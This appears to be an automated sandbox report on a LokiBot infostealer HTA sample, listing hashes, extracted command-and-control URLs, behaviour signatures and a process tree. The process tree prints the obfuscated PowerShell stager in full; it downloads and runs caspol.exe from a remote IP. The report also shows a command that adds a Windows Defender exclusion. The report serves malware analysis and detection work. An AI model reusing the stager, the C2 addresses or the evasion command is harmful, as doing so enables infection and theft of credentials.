Analysis
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max time kernel
140s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
19-11-2024 06:01
Static task
static1
Behavioral task
behavioral1
Sample
dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta
Resource
win10v2004-20241007-en
General
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Target
dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta
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Size
178KB
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MD5
a54bdd270a424ec79b735ef6b513c2e4
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SHA1
465738a3e31b16ad80c44f3dc7bdd762e402cb51
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SHA256
dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21
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SHA512
598f303f9f570851f3e538dcd5d9e23717e177b3e652320a7d58dc4800a0f81d9445b719e51b0875b640460c1b4d6be7a592e738b1004c2c0490bffac8ba0c61
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SSDEEP
96:4vCl1722AAZtbZfjdDINnmScJXD65zbfKZ/UQ:4vCld22AAVjBIcyzbfyUQ
Malware Config
Extracted
lokibot
http://94.156.177.95/maxzi/five/fre.php
http://kbfvzoboss.bid/alien/fre.php
http://alphastand.trade/alien/fre.php
http://alphastand.win/alien/fre.php
http://alphastand.top/alien/fre.php
Signatures
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Lokibot family
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Blocklisted process makes network request 1 IoCs
flow pid Process 16 3796 pOWERSHELl.exE -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2816 powershell.exe -
Downloads MZ/PE file
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Evasion via Device Credential Deployment 2 IoCs
pid Process 3796 pOWERSHELl.exE 4712 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation caspol.exe -
Executes dropped EXE 2 IoCs
pid Process 1068 caspol.exe 3936 caspol.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook caspol.exe Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook caspol.exe Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook caspol.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1068 set thread context of 3936 1068 caspol.exe 103 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language caspol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pOWERSHELl.exE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3796 pOWERSHELl.exE 3796 pOWERSHELl.exE 4712 powershell.exe 4712 powershell.exe 2816 powershell.exe 2816 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3796 pOWERSHELl.exE Token: SeDebugPrivilege 4712 powershell.exe Token: SeDebugPrivilege 2816 powershell.exe Token: SeDebugPrivilege 3936 caspol.exe -
Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 2444 wrote to memory of 3796 2444 mshta.exe 84 PID 2444 wrote to memory of 3796 2444 mshta.exe 84 PID 2444 wrote to memory of 3796 2444 mshta.exe 84 PID 3796 wrote to memory of 4712 3796 pOWERSHELl.exE 88 PID 3796 wrote to memory of 4712 3796 pOWERSHELl.exE 88 PID 3796 wrote to memory of 4712 3796 pOWERSHELl.exE 88 PID 3796 wrote to memory of 2164 3796 pOWERSHELl.exE 92 PID 3796 wrote to memory of 2164 3796 pOWERSHELl.exE 92 PID 3796 wrote to memory of 2164 3796 pOWERSHELl.exE 92 PID 2164 wrote to memory of 4740 2164 csc.exe 94 PID 2164 wrote to memory of 4740 2164 csc.exe 94 PID 2164 wrote to memory of 4740 2164 csc.exe 94 PID 3796 wrote to memory of 1068 3796 pOWERSHELl.exE 96 PID 3796 wrote to memory of 1068 3796 pOWERSHELl.exE 96 PID 3796 wrote to memory of 1068 3796 pOWERSHELl.exE 96 PID 1068 wrote to memory of 2816 1068 caspol.exe 101 PID 1068 wrote to memory of 2816 1068 caspol.exe 101 PID 1068 wrote to memory of 2816 1068 caspol.exe 101 PID 1068 wrote to memory of 3936 1068 caspol.exe 103 PID 1068 wrote to memory of 3936 1068 caspol.exe 103 PID 1068 wrote to memory of 3936 1068 caspol.exe 103 PID 1068 wrote to memory of 3936 1068 caspol.exe 103 PID 1068 wrote to memory of 3936 1068 caspol.exe 103 PID 1068 wrote to memory of 3936 1068 caspol.exe 103 PID 1068 wrote to memory of 3936 1068 caspol.exe 103 PID 1068 wrote to memory of 3936 1068 caspol.exe 103 PID 1068 wrote to memory of 3936 1068 caspol.exe 103 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook caspol.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook caspol.exe
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\dbcbb51e8c114fa8a7b9a1da2bbba100994eea4ed407bc338dedec5f811ade21.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE"C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"2⤵
- Blocklisted process makes network request
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT3⤵
- Evasion via Device Credential Deployment
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4712
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dsqfgnlo\dsqfgnlo.cmdline"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBBDE.tmp" "c:\Users\Admin\AppData\Local\Temp\dsqfgnlo\CSCF8952696FCB14B1DAB3AE2B928B2D43B.TMP"4⤵
- System Location Discovery: System Language Discovery
PID:4740
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C:\Users\Admin\AppData\Roaming\caspol.exe"C:\Users\Admin\AppData\Roaming\caspol.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2816
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C:\Users\Admin\AppData\Roaming\caspol.exe"C:\Users\Admin\AppData\Roaming\caspol.exe"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3936
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD53d086a433708053f9bf9523e1d87a4e8
SHA1b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA2566f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd
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Filesize
17KB
MD528f144b80e3ef231c6914ae1415c8c26
SHA1b27a8e129b48c2398d9013de4ec25f45d72032c1
SHA25626c25df8e945d88d20e031b9b7276e49369786767b709b69c722d8ccda538ae8
SHA512bcfcf756dd84a2265df5562c29ace378558aabef6be79cfd0caa10fd0dbdc8a08c683f8bd250618361081c01107dfd00f2c42828d4286d9724fbbbe7a04988bf
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Filesize
1KB
MD5980fd8bc2eeb832de5c5322bbd533268
SHA149ff48d2e28f14bf664e5fef5c339eabd869b750
SHA2569018319e7b311385534a699863a4ee337d9d19be5b8873860cdab7f3ea5ff83d
SHA51218bd50b53f074e6049b99ad86ce082c7d6de1859bc195c154af4eb720e92db6ea8ea904e6505e8c0beae5fea74efe1e068c14de8c6e7894d9ba2a399e89df76e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3KB
MD52f726f76b106fdb26602e47f260a6575
SHA1c675863d6af254ddf37183903d17d2b04968cbfe
SHA2561b0a35ff5116c8a24409f920f6482cac7222b49d15c6b18d72c1df5af94f6e99
SHA51203fac6eeba26e4d4f42f5c3f8376285a6a5cb8e18165ab55b923617c33b832169f5facf3a4e7c240d712fa7a8c721cb7fe744cae0e237601729bac238bc38f1c
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
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Filesize
570KB
MD580358303e33cef71434e6e4a621262c5
SHA1e7a22b4e5af741f9b4d9982f36164b276bba459a
SHA256f3246d0ca5ca8e69f98ca33b2c17813d5d862049dcfa9931dbcbaaaf7543a1f7
SHA5125e68b8c63afe7c0e91396f42f485cd84946235ab11d9ce7107bbcf75568ff3087d5e14378f87d77733376e332f516f26db838b870ca580569178b15c0a90761e
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Filesize
652B
MD539b36dedc06833ae6f0e3bc829837871
SHA18f24dcbaae5439ad5342392a02b4a73980bab9c6
SHA2566b261217ff9e8c8c913f501eb9c763e742e54ad3ec2e0235f58bc8da06091baa
SHA5128d04927ae132e9c556a612a5e6e9a14b1d307f16eef6be704383083cc895e27e7d2b8b0890346d416b353805fd6e4ff2cd84c220bddd43b68e05713bbd965688
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Filesize
477B
MD5f97fc8141f59078b4354b513d3b083ac
SHA1293904ab8d5f38a2f0764ee2e35e97e590d8c737
SHA256f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e
SHA51287b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c
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Filesize
369B
MD56e48ea49e26b10e6100f570d4fd41484
SHA1449140a6c90c60290fd01f0baf738df796f44c86
SHA25610a7621a6a4b59653534f365ef04f2aa54324668f0b7887145047f47f09aa53d
SHA5123a6b937df3472e7a1aa6d1ebe9b6c3ca52a4e2727601e243550190cb83d658b22826a9ce7dc5845f28d1b4e777a28dd4a49f9b20dde7cf650aa468dd920d233e